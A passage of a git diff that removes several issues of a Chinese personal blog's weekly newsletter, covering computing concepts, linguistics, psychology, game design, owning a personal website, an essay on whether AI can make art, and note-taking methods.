原语(primitive)是计算机中**不可被中断**的一段机器指令,常见于**操作系统**中的进程调度,用于实现同步(synchronization)。一个操作需要用原语实现,常常是因为这种操作一旦被中断,就会发生非常严重的错误,所以不允许中断。 -> -> 原语的「原」可以理解为「原子」(Atom),执行原语就是在执行一个原子操作(atomic action)。 -> -> 要实现原语,有两种方式: -> -> 1. **禁用中断**,这种操作在多核处理器上非常低效。 -> 2. **专用机器指令**,在多核处理器上实现同步,需要在硬件层面实现一套能够进行原子操作的机器指令(atomic instructions);例如 `test-and-set` 用于操作内存中的单个字(word),`compare-and-swap` 用于交换内存中的两个字。 -> -> <span style="font-size: 80%">Sources: 《操作系统 精髓与设计原理》[美] WILLIAM STALLINGS、[Synchronization (computer science) - Wikipedia](https://en.wikipedia.org/wiki/Synchronization_(computer_science)) </span> -> 语言往往能通过彼此之间在语音、语法和词汇等方面的相似性进行分类,常见的分类体系是基于**语系**(language family)、**语族**(language subfamily)和**语支**的。每个语系往往有一个共同的原始语言(proto-language)。 -> -> 以下是一些常见的语系和语族,这种划分呈树形结构。 -> -> - 印欧语系 -> - 日耳曼语族 -> - 英语 -> - 德语 -> - 罗曼语族(拉丁语族) -> - 法语 -> - 西班牙语 -> - 葡萄牙语 -> - 意大利语 -> - 斯拉夫语族 -> - 俄语 -> - 波兰语 -> - 汉藏语系 -> - 汉语族 -> - 官话(普通话) -> - 粤语 -> - 闽语 -> - 藏缅语族 -> - 日本-琉球语系 -> - 日语 -> - 琉球语 -> -> 需要注意的是,这种语言的分类体系似乎没有绝对的标准,学界也有一些争议。比如,一些学者认为日语应该被归类到汉藏语系下的藏缅语族,而非日琉语系;还有一些学者认为日语属于阿尔泰语系,而主流学术界则不认可这个语系存在。 -> -> 维基百科中也经常混用语族和语系两个词,导致我难以构建一个标准的世界语言体系。 -> -> 了解这种分类方式,最主要地是可以看到语言之间的联系。深入理解这种联系的一种方式是了解每个语系的原始语言——印欧语系的原始语言是**原始印欧语**(Proto-Indo-European, PIE),尽管这是一门根据印欧语系下各语言的特色构建出来的假想语言,但仍然是进行词源学研究的重要工具,印欧语系下不同语言中表达相似意思的词汇,很多都被认为有着相同的 PIE 词根。 -> -> <span style="font-size: 80%">Sources: [日本-琉球语系 - Wikipedia](https://zh.wikipedia.org/wiki/%E6%97%A5%E6%9C%AC-%E7%90%89%E7%90%83%E8%AF%AD%E7%B3%BB)、[原始印欧语 - Wikipedia](https://zh.wikipedia.org/w/index.php?title=Special%3ASearch&search=%E5%8E%9F%E5%A7%8B%E5%8D%B0%E6%AD%90%E8%AA%9E&wprov=acrw1_0)、[Language family - Wikipedia](https://en.wikipedia.org/wiki/Language_family)、 -> [语言系属分类 - Wikipedia](https://zh.wikipedia.org/w/index.php?title=Special%3ASearch&search=%E8%AF%AD%E8%A8%80%E7%B3%BB%E5%B1%9E%E5%88%86%E7%B1%BB&wprov=acrw1_0)</span> -> 投射(Projection)是一种心理防御机制,指人们常常将自己的不安等情绪代入到别人身上,下意识地否认自身的不良动机、欲望、行为,并将其怪罪于外界。 -> -> 这一点在许多霸凌者身上很常见,一些人认为霸凌者欺负弱小的行为,实际上反映了他们对自身能力的不安,因为不想被认为是弱小的,所以将「弱小」这一形象强加在别人身上,以此来证明自己的强大。另一个例子是,如果一个人骂你「你这样以后只能孤独终老」,那很有可能说明他自己很害怕「孤独终老」。 -> -> 简单来说,投射就是将自己的一部分属性设定在别人身上,并且会将自己投射的那部分自我误认为是别人而非自己,通常是为了达成某种自洽。 -> -> <span style="font-size: 80%">Sources: [Psychological projection - Wikipedia](https://en.wikipedia.org/wiki/Psychological_projection)</span> -> **课题分离**是阿德勒心理学中的一个概念,是阿德勒认为的、人际交往中应当遵守的法则。要区分一件事是谁的**课题**,可以思考「这件事情最终影响的是谁?」,例如孩子的学业情况最终影响的是孩子自己,而非父母,那么读书这件事情就是孩子自己的课题,父母原则上不应该干涉。 -> -> 在人际交往中,分清楚每件事情是谁的课题,并不干涉其他人的课题,就叫做**课题分离**。阿德勒认为人际交往中的一切问题都是由于干涉其他人的课题导致的。阿德勒认为「可以带马儿去河边,但不能强迫马喝水」。教育子女是父母的课题,学业是孩子的课题;提供物质基础和鼓励是父母的课题,这不一定要干涉孩子自己读书的课题。如果能在人际交往中做到课题分离,人与人之间的冲突就会大大减少。 -> -> <span style="font-size:80%">Source: 《被讨厌的勇气》[日] 岸见一郎</span> - -## 🗣️ 碎碎念 - -- ~~想用呋虫胺把室友也都杀了~~ -- 在宿舍保证睡眠质量的方法只有一个:带耳塞。因为不能要求别人,所以只能做好自己能做的。除了室友打鼾(以及另外两个被鼾声吵到睡不着辗转反侧的室友的床板的声音),宿舍的门板隔音也是差到没边,走廊另一边有人说话和走路都能听得很清楚,夜里要一两点过后才能彻底安静。我发现自己的深度睡眠时间短得离谱,很难达到一小时,结果习惯每晚上床带耳塞之后,深度睡眠时间显著增加…… 不过,还真想尽早搬出去,因为他妈的不想闻室友的屎味了。 -- 我不需要很大的空间,但我愈发清醒地意识到自己难以接受所有的事情都只能在一张并不宽敞的书桌上完成,所有的东西都只能在书桌的架子和柜子上放置,也不能用接受只比我肩膀宽一些的柜子塞下我所有的衣服…… 因为空间不足,我的 Mac Mini 在不到半个月的时间里产生了三处明显的磕碰;我在写下这段文字的今天在烧水时烫伤了手臂,水浸透了我的便签,我真的担心某一天水会撒在我的书和插排上;我的电脑、插排和书桌上原本的插座,间隔都不超过十厘米,我要在那不到四十立方厘米的空间里塞下所有的线缆…… -- 写「论业余项目」这一节的时候,我竟然愣了半天翻译不出来「Side Project」这个词,就当我放弃了翻译,开始概括那篇文章的意思时,我发现自己非常自然地写下了「业余项目」四个字…… 它就这么顺滑地从我的脑子里溜了出来,好神奇…… - -[^1]: 话是这么说,但自称能复现的成功难道不是成功学吗…… diff --git a/content/posts/weekly/25.md b/content/posts/weekly/25.md deleted file mode 100644 index 324d1813..00000000 --- a/content/posts/weekly/25.md +++ /dev/null @@ -1,151 +0,0 @@ -+++ -title = "稻草人周刊 Vol.25" -subtitle = "当个互联网房东" -tags = [ - "游戏", - "互联网文化", - "Geek", - "AI", - "艺术", - "人际交往", -] -date = 2025-04-21 11:26:00 -categories = "稻草人周刊" -banner = "https://r2.eltr.ac/uPic/PixPin_2025-04-21_10-43-33大.jpeg" -draft = false -toc = true -aliases = [ - "/posts/weekly/稻草人周刊-vol-25/", - "/posts/weekly/25", -] -+++ -<iframe allow="autoplay *; encrypted-media *;" frameborder="0" height="150" style="width:100%;max-width:660px;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/cn/album/schei%C3%9Fe/1440824019?i=1440824271"></iframe> - -以前没有完整听过《Born This Way》这张专辑,看完 Coachella 音乐节上 [Lady Gaga 的表演](https://www.bilibili.com/video/BV1DbdhYSEHY/?spm_id_from=333.337.search-card.all.click&vd_source=55e8dd907e1926518fd35c1ee7bcb4ba)之后,被《Scheiße》的舞台设计震撼到了,*妈的怎么能艺术成这样*,于是就循环了一下午。 - -## 🙋 在做什么 - -周三的时候决定什么也不做,放松一下,于是早上上完课就出门溜达了。先去了一家书店,点了一杯椰奶 Dirty,拿了一本有意思的小书读。下午去中央公园逛了逛,工作日没什么人,很清静。回宿舍之后给自己冲了一杯花魁,然后吃完饭去上班。 - -{{< gallery >}} - - - - -{{</ gallery >}} - -这周还做了一个卡牌游戏的 prototype,上班的时候摸鱼和学生以及同事玩了玩,得到了不错的评价。玩的过程很欢乐,虽然机制硬核到每个玩家都要拿拿计算器一直算分数,但掷骰子和算倍率挺爽的。 - -{{< gallery >}} - - - -{{</ gallery >}} - -但问题是,我怎么自己一次都没赢过啊! - -## 📖 本周阅读 - -{{< bookcard "局外人" >}} - -## 💬 本期杂谈 - -### 游戏的定义 - -> [!note] 📜 -> 文章链接:[云凤的 BLOG:我对电子游戏的分类](https://blog.codingnow.com/2024/10/classification_of_games.html) - -> 游戏是一种制造体验的人工系统。游戏用一种工程手段制造体验,目的是激发人类的情感。 - -> 首先,设计师创建了一些游戏机制。然后,他们把这些游戏机制用一些具有代表性的虚构元素包装起来。在游戏过程中,这些机制之间会产生一系列事件。这些时间会触动玩家潜意识中的触发器,从而激发出情感。最后,这些情感交织到一起,变成了一种综合的体验。 - -{{< right "——《Designing Games: A Guide to Engineering Experiences》" >}} - -我之前对游戏的认知仅限于「一套有限的行动规则,并且有输和赢的条件」,而这样的定义显然没有很好地概括那些令人触动,或是上头到撒不开手的游戏。在游戏的定义中加入「情感」一词,能更好地阐释各种形式的游戏令人着迷的原因。 - -用「情感」的角度看待游戏,还能借此重新定义其他文化产品。==既然游戏是一种通过工程技术创造的体验,那么小说可以是一种通过文学手段创造的体验,而电影可以是一种通过视觉手段创造的体验,其目的都是为了激发人类的情感。== - -此外,游戏还有「虚构层」一说,也就是机制、规则以外的,用于修饰游戏、风格化游戏的层次。比如,如果将《小丑牌》中的卡牌从扑克牌换成塔罗牌,其实也能玩下去,只不过整个游戏的风格就会从「赌场」变成「灵媒小屋」,玩家积累的点数也不会被称作「筹码」和「倍率」了。虚构层能决定游戏受众、整体表现,甚至成败——如果《Minecraft》变成一个外星殖民游戏,你需要避免死于只有在特定时间出现的外星人,然后挖掘异星矿石,建造殖民地,我很怀疑我还会不会喜欢这个游戏。 - -[#游戏](/tags/游戏) - -### 当个互联网房东,而不是租客 - -> [!note] 📜 -> 文章链接:[Be A Property Owner And Not A Renter On The Internet](https://den.dev/blog/be-a-property-owner-not-a-renter-on-the-internet/) - -在如今的互联网上,任何不存在于大科技公司建立的生态系统(如 YouTube、Reddit、Discord)上的内容几乎可以等同于不存在。因为自己的朋友几乎都在这些平台上,所以自己也不得不使用,相信国内有不少用户使用微信时也是这样的感受。然而,我们是被限制了自由的「互联网租客」,房东们希望我们永远也不要离开楼房。在社交媒体上发布包含外部链接的内容会被限流,这已经不是新鲜事,各个平台都在尝试阻止用户跳出。 - -作者承认大科技公司的产品有难以取代的优势,你每天能够可靠地、不间断地、(某种程度上)免费地观看视频,也都是这些科技公司的功劳。毕竟,自己购买 NAS 或云服务器搭建私有流媒体服务的仍然是少数中的少数,而且这费钱得多。 - -作者提倡,不必完全抛弃大公司的生态系统,但有能力的人应该自己建立网站,在互联网上拥有自己的一片领地: - -1. 不必抛弃社交媒体,但应该把自己最重视、最核心的内容(the core of your value)放在自己的地盘。 -2. 不必陷入完美主义,一个数字花园不需要在一开始就很完美,只需要每天浇灌和一些生长的时间。 -3. 拥有自己的数据,防止某一天平台突然决定你不再是他们想要服务的客户,把你锁在门外,也让更多的人无需登录就能查看你的内容。 -4. 使用开放的格式(open format),而不是那些自称有导出功能但格式非常诡异的平台;也包括开放的协议(protocol),比如邮件就是通用的格式,换了哪个邮件服务商都一样——你可以迁移你的邮件列表,但没法迁移某个平台上的关注者。 -5. 拥有自己的域名,让别人知道在哪找到你,你永远可以将你的域名指向另一个 IP 地址。 - -[#互联网文化](/tags/互联网文化/) [#Geek](/tags/geek/) - -### 为什么机器不可能创造艺术 - -> [!note] 📜 -> 文章链接:[Why A.I. Isn’t Going to Make Art - The New Yorker](https://www.newyorker.com/culture/the-weekend-essay/why-ai-isnt-going-to-make-art) - -文章探讨了什么是艺术,以及,依照这种对艺术的定义,为什么机器(包括 AI)不能够创造艺术。文章还简单提到了「智力」的定义,以及为什么**人工智能甚至不如一只老鼠聪明**。 - -作者认为,艺术是出了名地难以定义(Art is notoriously hard to define),在这篇文章中,他将艺术*简单地*定义为「艺术家作出的一系列选择」。摄影在刚出现时不被许多人当作艺术,是因为摄影时似乎没有太多可以做出的选择,只要按下快门就好了,而如今的摄影已经有了非常多的技巧和不小的可供艺术家自由发挥的空间,所以摄影可以被称作一种艺术。对于任何机器和软件,你都很难说他们做出了某种选择;但如果你认为 AI 在某种程度上拥有主观,这个理由兴许不能说服你。此外,就算将生成式 AI 当作创造工具使用,比起复杂的 Photoshop 用户界面,能用一个文本框做出的操作还是太少了。 - -另一个理由是,艺术因为人才有意义,而没有意义的艺术不能算作艺术。有很多线条简单甚至粗糙的画作也能被称作艺术,是因为创作者想要表达一些东西。一个比较极端的例子是达达主义的艺术作品「泉」,杜尚只是买了一个小便池然后签上了自己的名字,把它摆在了艺术展上。创作者的**意图**和他想要**表达**的东西,包含着艺术家的**个性**。==意图、自我表达、个性让艺术有了意义==。机器和软件,作为没有主体性的工具,是没有意图的、没有需要表达的自我、更没有个性,所以不可能创造艺术。 - -包括语言,名为「大语言模型」,实际上并不是在使用语言(not a linguistic utterance)。当你说「我很高兴见到你」或「对不起」的时候,并不是因为这句话有多少**原创性**,关键在于「这句话是你说的」「你带着一定的意图说出了这句话」。大语言模型没有感情也没有意图,它没有使用语言。 - -再说回「AI 不如一只老鼠聪明」这件事。计算机科学家 François Chollet 将智力(intelligent)定义为「掌握新技能的速度」,而非学识。在 2019 年,一个研究小组发现,==老鼠仅在 24 次尝试后就能学会如何开车,而人工智能通过四千四百万局游戏才学会了如何下棋==。**AI 和所有的计算机系统一样,其实非常蠢**。 - -请注意我在上文中极其克制使用 AI 这个词,不只是因为我实在讨厌过多地谈论它,更是因为以上的内容实际上适用于任何形式的机器和软件[^1]。**很多时候,人们自以为在谈论 AI,但实际上在讨论「技术进步」这个更抽象的概念**——*毁灭人类的可能是 AI,也可能是将来会出现的任何一种技术,但最终都还是人类自己。* - -[#AI](/tags/AI/) [#艺术](/tags/艺术/) - -### 如何把小屁孩吵赢 - -> [!note] 📜 -> 文章链接:[How to win an argument with a toddler - Seth's Blog](https://seths.blog/2025/04/how-to-win-an-argument-with-a-toddler/) - -请注意这里的小屁孩并不是真的小屁孩,而是蛮不讲理的人。 - -作者提到,**小孩子可能会摆出想要跟你理论的姿态,让自己看起来不像是在耍脾气,但实际上他们就是在耍脾气**,只不过用的是另一个方式。他们不会因为这种形式化的理论改变任何观点。解决方案是直接问他们这样一个问题:「跟我讲讲你之前有没有因为这样的一场辩论真正改变过你坚信的观点?」或者「你觉得什么样的信息才会改变你的观点?」 - -我之前听一期由三位理科博士参与的关于玄学的播客时,其中有一位嘉宾就表示「如果真的有事实证据表明玄学能够预测未来,那我会感到惊讶,并且会改变看法」。 - -==如果某个人与你争论时,从一开始就不打算改变他的观点,那和这样的人争论还有什么意义呢?== - -[#人际交往](/tags/人际交往/) - -## 💡 新知复盘 - -> ### 向内思考和向外思考 -> -> 从[荣格心理类型](/cards/荣格-心理类型/)的「内倾」和「外倾」态度来分析「思考」的两种形式,或许可以分为「向内思考」和「向外思考」。<!--more--> -> -> | 向内思考 | 向外思考 | -> | ----------------------- | -------------------- | -> | 发生在内部世界 | 发生在外部世界 | -> | 工具为大脑 | 工具为大脑和外部媒介,如文字 | -> | 网状结构 | 线性结构 | -> | 以**思维**为载体 | 以**语言**为载体 | -> | 模糊的、混乱的、不成体系的 | 清晰的、结构化的 | -> | 无法被检验,即没人知道你是否真的做了有用的思考 | 可以被检验,即读者能够感受到你的思考深度 | -> | 封闭的,无法与人交流 | 开放的,可以与其他的观点发生碰撞 | -> | 具体表现为沉思、洞察、灵光乍现 | 具体表现为写作 | -> -> 这样的思维模型可以用来解释为什么有的人想得很多但不善言辞(向内思考但很少向外思考),有的人说得很多但缺乏深度(向外思考但很少向内思考)。 - -## 🗣️ 碎碎念 - -- 大概是因为之前用没有腐熟的咖啡渣做了肥料,一直养在桌面上的那盆火焰蕨因为土壤板结,几乎要枯死了。我痛定思痛,立马下单买了三盆新的(?)。 -- 如果一个人只会用华丽的词藻和句式武装自己的表达,那是为了掩盖他思想和学识匮乏的事实。 -- 之前 [www.guhub.cn](https://www.guhub.cn/) 因为 SSL 的问题一直无法正常访问,后来发现是腾讯云 EdgeOne 导致 Caddy 服务器无法自动配置 SSL 证书,可恶的腾讯!(?) -- 为什么这么多欧美歌迷喜欢把有新意的舞台设计称作「小品」…… 现代人是否因为过度的娱乐失去了欣赏艺术的能力? - -[^1]: 以及,很多人似乎不明白,AI 其实是一个**指代非常不明确**的词汇,语言模糊反映了思维的不清晰。AI 可以是游戏中敌人的行动机制,AI 可以是给邮件分类的算法,AI 可以基于神经网络也可以不基于神经网络,AI 可以是大语言模型也可以是文生图模型…… diff --git a/content/posts/weekly/26.md b/content/posts/weekly/26.md deleted file mode 100644 index 728a1ce5..00000000 --- a/content/posts/weekly/26.md +++ /dev/null @@ -1,139 +0,0 @@ -+++ -title = "稻草人周刊 Vol.26" -subtitle = "危险的图书管理员" -endnotes = [ - "封面图自摄,设备为 iPhone 15 Pro", -] -tags = [ - "阅读", - "效率", -] -date = 2025-04-28 11:46:00 -categories = "稻草人周刊" -banner = "https://r2.eltr.ac/uPic/daisies-outside-the-sports-field.jpeg" -draft = false -toc = true -aliases = [ - "/posts/weekly/稻草人周刊-vol-26/", - "/posts/weekly/26", -] -+++ -<iframe allow="autoplay *; encrypted-media *;" frameborder="0" height="150" style="width:100%;max-width:660px;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/cn/album/what-was-that/1809638073?i=1809638075"></iframe> - -Lady Gaga 的《Mayhem》和 Coachella 音乐节表现之后,Lorde 就发布了新单曲,欧美乐迷今年也吃得太好了吧。[^1]<!--more--> - ---- - -> [!note] 👋 -> 你正在阅读一期特别的周刊,以后每个月的最后一期周刊都会如此,除了一般的信息聚合,还充当本博客的每月回顾 - -> [!note] 📖 -> 由于「[书评](/library/)」页面现在直接显示在首页时间线,周刊中就不再设置「本周阅读」栏目了 - -## 🏃 这个月做了什么? - -这这月成功打破了「宅」的标签,发现出去玩真的会让心情变好。[第一周](/posts/weekly/稻草人周刊-vol-23/#-在做什么)的时候去逛了四川美术学院的美术馆,[上一周](/posts/weekly/稻草人周刊-vol-25/)趁天气好去中央公园溜达了一圈。听说音乐剧《神曲》在重庆大剧院有演出,还是全国首场,本来想去,可惜周六要上班,周日还要调休,真是可惜。 - -上周做的游戏 Prototype 暂定名为《Subscriptions》,这周迭代过后再做玩法测试,又觉得有些无聊了,兴许是因为和我一起测试的和上次都是同一拨人,新鲜感过了,问题也就暴露出来了(不过我自己终于赢了一次 😭)。一直有在写日志,过几天兴许会总结一下发出来,有点想把它当作一个失败品弃掉,开始下一个游戏设计了。 - -最近博客做了不少外观和交互设计上的改动,这里先不一一列举了,留给读者一些自己探索的乐趣。*如果遇到 bug 也请告诉我……* - -## ✍️ 本月令我满意的作品 - -博客更新频率较高的好处是有什么想法我就会写下来,这让我思考问题更深入,但情况不总是这样理想。有时我并不喜欢我写下的作品,甚至觉得它并没有那么适合其他人阅读。 - -每月最后一期周刊会挑选一些本月更新的,我认为值得一读的文章。 - -1. [AI 正在让人变得前所未有地自以为是](/posts/ai-正在让人变得前所未有地自以为是/)<br/> - 会使用工具 ≠ 突破职业边界。我受不了那些会用 AI 写代码就自称「程序员」的人,他们完全不懂软件工程方法,完全看不出来 AI 生成了一大堆冗余代码,更不明白 AI 的上下文是有限的,他们根本没能力管理日益增长的 codebase。他们自以为是的态度冒犯了所有职业。 -2. [安眠药也有致死量](/posts/安眠药也有致死量/)<br/> - 许多人持有对「美好家庭」「和谐关系」的幻想,却不做出任何实际行动来维持关系,选择性地无视一些与他们幻想背离但致命的问题,认为放着不管问题就会解决,就连孩子想自杀这种问题也当作没看见。更令人作呕地,当有人试图戳破他们的幻想,他们会责骂甚至惩罚提出问题的人。这样的悲剧无处不在,别再当鸵鸟了。 -3. [为何以及如何建立自己的信任链?](/posts/为何以及如何建立自己的信任链/)<br/> - 网上信息很多,当然要注意辨别。文章从计算机网络对「信任」的定义和实践说起,谈到普通人如何通过信息溯源和建立信任链获取靠谱的知识。最后,文章还简单地从哲学的角度讨论了信任和真理对人类的意义。 -4. [好为人师如何帮我反思现代科学的局限性?](/posts/好为人师如何帮我反思现代科学的局限性/)<br/> - 现代科学擅长描述客观世界,但只能做事实判断,而不能做价值判断。对于个体而言,除了科学客观地认识世界,必然还要通过法律、道德等标准完善世界观。不过,常常遭受抨击的「玄学」对人类的认知也有其积极意义。 - -接下来就是周刊的常规栏目了。 - ---- - -## 💬 本期杂谈 - -### 危险的图书管理员 - -> [!note] 📜 -> 文章链接:[Librarians are dangerous.](https://bradmontague.substack.com/p/librarians-are-dangerous) - -看到标题的时候我最先想到的是《[WELCOME TO NIGHT VALE](https://www.welcometonightvale.com)》这档虚构播客节目里的经典角色——在书架之间快速爬行,随时准备攻击小孩的怪异生物。[^2] - -回到原文,这篇文章算是对图书管理员这一职业的赞颂。 - -1. 图书管理员很危险,他们整天策划着消除无知的阴谋。 -2. 他们会编程,能当助教,是半个数据分析师,能用 3D 打印机做一个义肢,还能不厌其烦地帮一个叫 Todd 的成年人恢复七次邮箱密码——这还是人吗?谁会这么做!? -3. 不要跟图书管理员辩论,你赢不了! -4. 他们不只是守护书籍,还会*释放*它们…… - -总之,作者用这样的口吻描述了图书管理员这个职业。文章写得很有趣,如果可以的话,建议去读一读。 - -我一直对图书管理员这个职业颇有好感,尽管我从未和他们有过交谈,因为我不喜欢麻烦别人,我会在去图书馆之前提前记下我要找的书的编号,然后再根据楼层分布图找到它,最后自己把它放回原位——我想我可能比较适合去当图书管理员。 - -[#阅读](/tags/读书) - -### 用纸笔代替电子设备 - -> [!note] 📺 -> 视频链接:[使用3个笔记本拯救你的注意力,告别无意识刷手机](https://www.bilibili.com/video/BV1uronYRE2a/?spm_id_from=333.1391.0.0&vd_source=55e8dd907e1926518fd35c1ee7bcb4ba) - -其实去年年底就已经把数字的待办清单和日程表换成了日程本,只留下了苹果日历用作课程、会议和工作时间的提醒。在这期间我还迭代了很多时间记录、每周复盘和计划体系,只不过一直没写在博客上,可能是因为我对「生产力」这个词已经不太敏感了。 - -这期视频虽说有些「成功学」的味道,我不太喜欢,但传达的思想和方法还是有参考价值的。作者所用的「3 个笔记本」分别是: - -1. 晨间日记本。早晨起床后写满三页,将自己的想法倾倒在纸页上,帮自己理清思绪。 -2. 杂记本。随身携带的小本子,用于捕获任何灵感和想法;当自己想要掏手机出来刷无意义信息的时候,可以用这个本子代替,翻看自己之前记录的想法。 -3. 人生作业本。每天晚上写一件自己认为「值得讲述」的事情,可大可小;我认为这有点像「感恩日记」。 - -写日记的习惯我其实一直有,一般是在晚上写。晨间日记我这周试了试,只写了两天,而且都是匆匆写下几句就准备出门了。我的早晨没有那么多的时间给我写字。 - -至于杂记本,我确实有随身携带小本子,但我无法在走路的时候掏出来写和看,其他时候总是有人在我旁边,我也有些介意拿出本子来,总归是有些障碍。而且,当我在工作或上课的时候,往往不会产生灵感,有想法涌现的时候我都在走路或者走神,总归是不方便掏本子出来的。如果在自己的书桌前,我已经习惯写在便签上了。 - -此外,作者对 Notion 等「第二大脑」的看法和我有些相似。数字化记录容易让他陷入无关信息的漩涡中,而他对现有的纸质方案感到很满意。我自己也觉得,纸笔更容易让人专注下来。握着笔也能让人感到踏实,觉得自己真的在「写东西」。 - -[#效率](/tags/效率) - -## 💡 新知复盘 - -> ### 宏 -> -> 计算机中,宏(macro,也叫「巨集」)的概念很常见,出现在 Excel 和 Word 等办公软件当中,C 语言(`#define`)、Lisp 语言等编程语言中也有宏,键盘似乎也有宏的概念。这个词即使是在英语中(macro)也显得抽象和模糊,宏到底是什么意思? -> -> 简单来说,宏是**将短小的命令展开为一系列命令的过程**,一般是为解释器、编译器设定的一系列与处理规则,用于进行**模式替换**。宏的概念也被拓展到了编辑器和键盘映射当中,所以有了键盘宏和 Excel 中的宏。 -> -> 最常见的宏用于「文本替换」,如 C 语言的宏。 -> -> ```c -> #define N 100 -> ``` -> -> 在编译器的预处理阶段,源代码中的 `N` 就会被替换(或者说展开)为 `100`。对于 Lisp 语言和其他更强大的宏编程语言,宏展开还能被应用在代码上。宏展开也不总是死板的文本替换,也往往是模式替换,一些笔记软件和效率工具提供的代码段(Snippets)功能也类似于宏。 -> -> 另一种宏可被视为「快捷指令」,Excel 中录制宏用于之后快速执行某个操作的用法,就属于这种。将一个小的指令自动展开为一系列指令。 -> -> 总而言之,宏被用于自动化、简化和复用操作。 - -> ### 自我实现的预言 -> -> 自我实现的预言,在社会心理学称「自证预言」(Self-fulfilling prophecy),是一种社会心理学现象——某件事情如某人预期和预言的那样发生了,有可能正是因为个体的预言和**信念**潜移默化地改变了个体的行为,即预言之所以成真,正是因为个体相信这一预言。 -> -> 自证预言指出,人的信念是会影响行为的。信念影响行为的过程常常发生在潜意识和不自觉中,所以不易被察觉。 -> -> <span style="font-size: 80%">Source: [自证预言 - 维基百科,自由的百科全书](https://zh.wikipedia.org/wiki/自证预言)</span> - -## 🗣️ 碎碎念 - -- 感觉 iOS 的「隐藏 App」功能,除了藏一些见不得人的小软件,还可以把淘宝放在我看不见的地方,大大减少了剁手频率(别问我为什么不直接卸载 💅) -- 我到底是怎么把「Constant like cicadas in summertime」这句话听成「Nonsense like gaydars in the summertime」还觉得很合理一直没听出问题的 😓(出自歌曲《Pink Pony Club》) -- 做游戏最害怕的大概就是有人说不好玩了,但想了想,如果朋友表面跟我说好玩,在别人面前说不喜欢,那大概才是最令人伤心的。 -- 看大家都给自己的网站添加了 [Now 页面](https://nownownow.com),自己也有点馋,但转念一想,发现自己的周刊其实就已经充当了这个功能了。 - -[^1]: 建议 Taylor Swift 立马惊喜释出《reputation》重录版。 -[^2]: 我现在在想自己是不是无意识地在《[Heart Hunter](/posts/为战斗献上心脏/)》里用到了这个设计。 diff --git a/content/posts/weekly/27.md b/content/posts/weekly/27.md deleted file mode 100644 index 5e08d52d..00000000 --- a/content/posts/weekly/27.md +++ /dev/null @@ -1,145 +0,0 @@ -+++ -title = "稻草人周刊 Vol.27" -subtitle = "明年九月,油管首页将不会有视频" -tags = [ - "互联网文化", - "笔记方法", - "广告", -] -date = 2025-05-05 10:35:44 -categories = "稻草人周刊" -banner = "https://r2.eltr.ac/uPic/2025/05/dennis-maliepaard-7b7wSvGn2W4-unsplash-2.jpg" -draft = false -toc = true -aliases = [ - "/posts/weekly/稻草人周刊-vol-27/", - "/posts/weekly/27", -] -+++ -<iframe allow="autoplay *; encrypted-media *;" frameborder="0" height="150" style="width:100%;max-width:660px;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/cn/album/judas/1440857161?i=1440857433"></iframe> - -我很喜欢 Gaga 在这首歌里展示的「扭曲的迷恋」。放低自己,奉爱人为王,原谅对方所有过错的感情,在心理学上大概会被认定为不健康,但健康的感情未免太过无趣(?)。<!--more--> - -## 🙋 在做什么 - -之前写的一篇文章被 [Hsins](https://github.com/hsins) 转发到社交媒体了,于是博客一天内访问量激增,还多出好几条评论。~~产生了一种自己居然火了的幻觉。~~ - - - - - -博客还因此收获了更多的订阅,甚至[赞助](/sponsor/),感谢。自己的作品能被看到还能收到回应,对创作者而言是最幸福的事情吧。 - -这周也对网站做了一些小改动: - -- 改进了表格样式(感谢 [Hsins](https://github.com/hsins) 提出建议) -- RSS 现在输出全文,而非摘要(感谢 [Owen](https://www.owenyoung.com) 指出这个问题) -- 修了些博客的小 bug - - -## 💬 本期杂谈 - -### 让责任沉没的机器 - -> [!note] 📜 -> 文章链接:[Accountability Sinks](https://250bpm.substack.com/p/accountability-sinks) - -作者借用 Dan Davies 的著作《The Unaccountablitiy Machine》一书中的「责任沉没」(accountability sinks)概念解释了一类常见的社会现象——当制度和规范在一个组织中建立起来之后,确定且严格的操作流程(process)会取代人的合理判断(human judgement)。 - -文中的第一个例子就让我惊掉下巴。440 只从中国运到阿姆斯特丹的松鼠,因为缺少许可和各种文书,所以不能入境,甚至没人能把它们送回去。根据相关的规章制度,工作人员把这 440 只松鼠都扔进了机器里粉碎。 - -这种制度的巧妙之处在于,有人犯错了,但没有人能承担责任。员工只是按照死板的规则残忍地杀害了 440 只生命,制定规则的人只是因为先前没有遇到过类似的情况所以没有将其考虑在内。事后航空公司表达了「诚挚的歉意」,又有谁能质疑他们的真诚呢? - -这种责任在规章制度中消失了的现象,就叫做责任沉没(accountablity sink)。然而,这带来了不少问题,比如飞机票超售,付了钱的乘客找不到人说理,因为航空公司的政策没有将其考虑在内。不讲理的人会对空乘人员大肆谩骂,要求见管理人员,即使工作人员根本就做不了什么;讲理的好人却只能忍受这一切,默默地走开,再想法子要求航空公司赔偿自己的损失。 - -作者的主要观点如下: - -1. 正式的操作流程是有益的,没了规范,社会就会乱套。 -2. 不是所有的正式流程都会导致责任沉没,设计并实施正确的、灵活的操作规范是可行的。作者曾经在 Gmail 的运维团队工作,他们没有严格要求的操作流程,但所有人都对保证系统稳定运行有着不可推脱的责任,他们自己就会建立用作参考的基本流程把工作做好。 -3. 不是所有的责任沉没都会导致死板和隐瞒。有时,在工作流程中不能将责任人推出来受罚,否则这些人会为了不受罚而隐瞒问题。设定规章制度保护责任人,分析原因并因时制宜地给出解决方案,也是可行的。 - -[#管理](/tags/管理) - -### 撰写迷你论文 - -> [!note] 📺 -> 视频链接:[Mini Essays: The Ultimate Learning Tool](https://www.youtube.com/watch?v=N4YjXJVzoZY) - -这位 YouTuber 认为撰写迷你论文(Mini Essays)是终极的、最佳的学习方法。我不喜欢他讲话的方式[^1],而且总结下来,被他称作 Mini Essay 的笔记方法,不过是知识管理社区里老生常谈的费曼学习法和卡片笔记法。 - -做内容和营销的或许可以从他的视频风格中学到一些东西,把现有的理论包装起来,取一个像「原子习惯」一样的名字,说不定就能成为爆款。 - -如果你对知识管理感到好奇,这是他的主要观点: - -1. 费曼学习法:通过写作的方式把学到的内容「教」给一个假想的对象,通过表达来强迫自己思考和查漏补缺。 -2. 